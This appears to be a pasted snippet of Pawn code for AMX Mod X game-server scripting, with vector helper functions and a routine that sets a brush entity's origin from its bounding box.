- stock vector_compare(const Float:vecA[], const Float:vecB[])
- {
- if((vecA[0] == vecB[0]) && (vecA[1] == vecB[1]) && (vecA[2] == vecB[2]))
- return true
- return false
- }
- stock vector_mul(Float:vec[], const Float:ammount)
- {
- vec[0] *= ammount
- vec[1] *= ammount
- vec[2] *= ammount
- }
- stock vector_sum(Float:vecDst[], const Float:vecSrc[])
- {
- vecDst[0] += vecSrc[0]
- vecDst[1] += vecSrc[1]
- vecDst[2] += vecSrc[2]
- }
- stock vector_copy(Float:vecDst[], const Float:vecSrc[])
- {
- vecDst[0] = vecSrc[0]
- vecDst[1] = vecSrc[1]
- vecDst[2] = vecSrc[2]
- }
- stock set_brush_origin(ent, Float:origin[3])
- {
- static Float:size[3], Float:mins[3], Float:absmin[3], Float:absmax[3]
- entity_get_vector(ent, EV_VEC_mins, mins)
- entity_get_vector(ent, EV_VEC_maxs, size)
- vector_substract(size, mins)
- absmin[0] = origin[0] - (size[0]/2.0)
- absmin[1] = origin[1] - (size[1]/2.0)
- absmin[2] = origin[2]
- absmax[0] = origin[0] + (size[0]/2.0)
- absmax[1] = origin[1] + (size[1]/2.0)
- absmax[2] = origin[2] + size[2]
- entity_set_vector(ent, EV_VEC_absmin, absmin)
- entity_set_vector(ent, EV_VEC_absmax, absmax)
- origin[0] = absmin[0] - mins[0]
- origin[1] = absmin[1] - mins[1]
- origin[2] = absmin[2] - mins[2]
- entity_set_origin(ent, origin)
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement